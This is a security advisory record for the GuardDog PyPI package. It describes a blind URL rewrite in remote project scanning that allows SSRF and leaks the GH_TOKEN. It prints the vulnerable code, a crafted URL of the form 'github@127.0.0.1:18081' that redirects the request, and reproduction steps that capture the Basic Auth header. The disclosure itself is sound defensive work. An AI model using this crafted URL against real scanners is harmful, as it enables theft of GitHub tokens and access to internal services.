id: PYSEC-2026-2505
published: "2026-07-13T15:15:44.334184Z"
modified: "2026-07-13T16:04:14.555696Z"
aliases:
- CVE-2026-44971
- GHSA-587r-mc96-6f2p
summary: GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
details: "# Summary\nThe programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog.\n\n# Description\n`ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling:\n\n```python\ngithubusercontent_url = url.replace(\"github\", \"raw.githubusercontent\")\nreq_url = f\"{githubusercontent_url}/{branch}/{requirements_name}\"\nresp = requests.get(url=req_url, auth=token)\n```\n\nBecause this logic does not parse or validate the hostname, a crafted URL such as:\n\n```text\nhttp://github@127.0.0.1:18081/owner/repo\n```\n\nis transformed into:\n\n```text\nhttp://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt\n```\n\nRequests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.\n\n# Reproduction summary\n1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header.\n2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`.\n3. Call `PypiRequirementsScanner().scan_remote(\"http://github@127.0.0.1:18081/owner/repo\", \"main\", \"requirements.txt\")`.\n4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`.\n\n# Key code paths\n- `guarddog/scanners/scanner.py:361-365`\n\n# Practical impact\nThis can expose repository-scanning infrastructure to:\n- theft of the GitHub PAT configured in `GH_TOKEN`\n- SSRF to internal or localhost services reachable by the scanner\n- attacker-controlled dependency file content returned by the malicious endpoint\n\n# Prior public disclosure check\nAs of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.\n\n# Suggested fix\nParse the input URL, require `hostname == \"github.com\"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts."
affected:
- package:
    name: guarddog
    ecosystem: PyPI
    purl: pkg:pypi/guarddog
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: 1.0.0
    - last_affected: 2.9.0
  versions:
  - 1.0.0
  - 1.0.1
  - 1.0.2
  - 1.1.0
  - 1.1.1
  - 1.1.2
  - 1.1.3
  - 1.1.4
  - 1.10.0
  - 1.10.1
  - 1.11.0
  - 1.11.1
  - 1.11.2
  - "1.2"
  - 1.2.1
  - 1.3.0
  - 1.4.0
  - 1.5.0
  - 1.5.1
  - 1.5.2
  - 1.5.3
  - 1.5.4
  - 1.5.5
  - 1.5.6
  - 1.5.7
  - 1.5.8
  - 1.6.0
  - 1.7.0
  - 1.8.0
  - 1.8.1
  - 1.8.2
  - 1.9.0
  - 2.0.0
  - 2.0.1
  - 2.0.2
  - 2.0.3
  - 2.0.4
  - 2.0.5
  - 2.0.6
  - 2.1.0
  - 2.2.0
  - 2.3.0
  - 2.4.0
  - 2.5.0
  - 2.6.0
  - 2.7.0
  - 2.7.1
  - 2.8.4
  - 2.9.0
references:
- type: WEB
  url: https://github.com/DataDog/guarddog/security/advisories/GHSA-587r-mc96-6f2p
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-44971
- type: PACKAGE
  url: https://github.com/DataDog/guarddog
- type: PACKAGE
  url: https://pypi.org/project/guarddog
- type: ADVISORY
  url: https://github.com/advisories/GHSA-587r-mc96-6f2p
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N